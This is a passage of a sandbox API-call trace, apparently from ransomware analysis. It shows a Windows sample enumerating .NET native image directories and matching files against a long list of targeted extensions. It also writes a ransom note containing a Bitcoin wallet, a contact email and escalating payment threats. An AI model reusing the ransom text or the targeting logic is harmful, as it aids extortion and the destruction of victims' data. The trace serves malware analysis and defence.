(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.nef") returned 0 [0105.569] lstrlenA (lpString="*.nef") returned 5 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.svg") returned 0 [0105.570] lstrlenA (lpString="*.svg") returned 5 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.psd") returned 0 [0105.570] lstrlenA (lpString="*.psd") returned 5 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.vmx") returned 0 [0105.570] lstrlenA (lpString="*.vmx") returned 5 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0105.570] lstrlenA (lpString="*.vmdk") returned 6 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.vdi") returned 0 [0105.570] lstrlenA (lpString="*.vdi") returned 5 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.lay6") returned 0 [0105.570] lstrlenA (lpString="*.lay6") returned 6 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0105.570] lstrlenA (lpString="*.mpeg") returned 6 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.djvu") returned 0 [0105.570] lstrlenA (lpString="*.djvu") returned 6 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.tiff") returned 0 [0105.570] lstrlenA (lpString="*.tiff") returned 6 [0105.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.backup") returned 0 [0105.571] lstrlenA (lpString="*.backup") returned 8 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.pdf") returned 0 [0105.571] lstrlenA (lpString="*.pdf") returned 5 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.cert") returned 0 [0105.571] lstrlenA (lpString="*.cert") returned 6 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.docm") returned 0 [0105.571] lstrlenA (lpString="*.docm") returned 6 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0105.571] lstrlenA (lpString="*.xlsm") returned 6 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.dwg") returned 0 [0105.571] lstrlenA (lpString="*.dwg") returned 5 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.nd") returned 0 [0105.571] lstrlenA (lpString="*.nd") returned 4 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.tlg") returned 0 [0105.571] lstrlenA (lpString="*.tlg") returned 5 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.lgb") returned 0 [0105.571] lstrlenA (lpString="*.lgb") returned 5 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.mov") returned 0 [0105.571] lstrlenA (lpString="*.mov") returned 5 [0105.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.xdw") returned 0 [0105.571] lstrlenA (lpString="*.xdw") returned 5 [0105.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.ods") returned 0 [0105.572] lstrlenA (lpString="*.ods") returned 5 [0105.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.wav") returned 0 [0105.572] lstrlenA (lpString="*.wav") returned 5 [0105.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.mp3") returned 0 [0105.572] lstrlenA (lpString="*.mp3") returned 5 [0105.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.aiff") returned 0 [0105.572] lstrlenA (lpString="*.aiff") returned 6 [0105.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.flac") returned 0 [0105.572] lstrlenA (lpString="*.flac") returned 6 [0105.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.m4a") returned 0 [0105.572] lstrlenA (lpString="*.m4a") returned 5 [0105.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.csv") returned 0 [0105.572] lstrlenA (lpString="*.csv") returned 5 [0105.572] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17973c26, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17973c26, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17973c26, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x32e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.572] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x179bfee6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x179bfee6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fac6392e83ef7e777b78933e057c9546", cAlternateFileName="FAC639~1")) returned 0 [0105.573] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.573] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf6fa556, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf6fa556, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.EnterpriseSe#", cAlternateFileName="SYSTEM~1.ENT")) returned 1 [0105.573] lstrcmpA (lpString1=".", lpString2="System.EnterpriseSe#") returned -1 [0105.573] lstrcmpA (lpString1="..", lpString2="System.EnterpriseSe#") returned -1 [0105.573] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.573] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.EnterpriseSe#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#" [0105.573] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#") returned 67 [0105.573] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf6fa556, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf6fa556, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.575] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.575] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf6fa556, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf6fa556, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.575] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.575] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.575] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf6fa556, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf6fa556, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="887ef2648686aad19feff405eddbffd2", cAlternateFileName="887EF2~1")) returned 1 [0105.575] lstrcmpA (lpString1=".", lpString2="887ef2648686aad19feff405eddbffd2") returned -1 [0105.575] lstrcmpA (lpString1="..", lpString2="887ef2648686aad19feff405eddbffd2") returned -1 [0105.575] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\*.*") returned="*.*" [0105.575] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\", lpString2="887ef2648686aad19feff405eddbffd2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2" [0105.575] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2") returned 100 [0105.575] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf6fa556, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf6fa556, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.578] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.578] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf6fa556, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf6fa556, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.579] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.579] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.579] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf688135, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf688135, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf6ae295, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x99600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.EnterpriseServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.579] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.579] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0105.579] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0105.579] lstrcmpiA (lpString1="", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0105.579] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\*.*") returned="*.*" [0105.579] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\" [0105.579] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\") returned="" [0105.579] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\HOW TO DECRYPT FILES.txt" [0105.579] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.enterprisese#\\887ef2648686aad19feff405eddbffd2\\how to decrypt files.txt")) returned 0xffffffff [0105.579] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.enterprisese#\\887ef2648686aad19feff405eddbffd2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.580] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.580] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.583] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.583] CloseHandle (hObject=0x90) returned 1 [0105.583] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\", lpString2="System.EnterpriseServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll" [0105.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.ems") returned 0 [0105.583] lstrlenA (lpString="*.ems") returned 5 [0105.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.db") returned 0 [0105.583] lstrlenA (lpString="*.db") returned 4 [0105.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.dbf") returned 0 [0105.583] lstrlenA (lpString="*.dbf") returned 5 [0105.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.myox") returned 0 [0105.583] lstrlenA (lpString="*.myox") returned 6 [0105.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.myo") returned 0 [0105.583] lstrlenA (lpString="*.myo") returned 5 [0105.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qbw") returned 0 [0105.583] lstrlenA (lpString="*.qbw") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qbb") returned 0 [0105.584] lstrlenA (lpString="*.qbb") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qbm") returned 0 [0105.584] lstrlenA (lpString="*.qbm") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qbo") returned 0 [0105.584] lstrlenA (lpString="*.qbo") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qbx") returned 0 [0105.584] lstrlenA (lpString="*.qbx") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qba") returned 0 [0105.584] lstrlenA (lpString="*.qba") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qby") returned 0 [0105.584] lstrlenA (lpString="*.qby") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qbj") returned 0 [0105.584] lstrlenA (lpString="*.qbj") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.ofx") returned 0 [0105.584] lstrlenA (lpString="*.ofx") returned 5 [0105.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.qif") returned 0 [0105.584] lstrlenA (lpString="*.qif") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.mye") returned 0 [0105.585] lstrlenA (lpString="*.mye") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.mbox") returned 0 [0105.585] lstrlenA (lpString="*.mbox") returned 6 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.eml") returned 0 [0105.585] lstrlenA (lpString="*.eml") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.pst") returned 0 [0105.585] lstrlenA (lpString="*.pst") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.ost") returned 0 [0105.585] lstrlenA (lpString="*.ost") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.idx") returned 0 [0105.585] lstrlenA (lpString="*.idx") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.dbx") returned 0 [0105.585] lstrlenA (lpString="*.dbx") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.sql") returned 0 [0105.585] lstrlenA (lpString="*.sql") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.mdb") returned 0 [0105.585] lstrlenA (lpString="*.mdb") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.fdb") returned 0 [0105.585] lstrlenA (lpString="*.fdb") returned 5 [0105.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.wab") returned 0 [0105.586] lstrlenA (lpString="*.wab") returned 5 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.dat") returned 0 [0105.586] lstrlenA (lpString="*.dat") returned 5 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.txt") returned 0 [0105.586] lstrlenA (lpString="*.txt") returned 5 [0105.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.ni.dll", pszSpec="*.jpeg") returned 0 [0105.586] lstrlenA (lpString="*.jpeg") returned 6 [0105.586] PathMatchSpecA 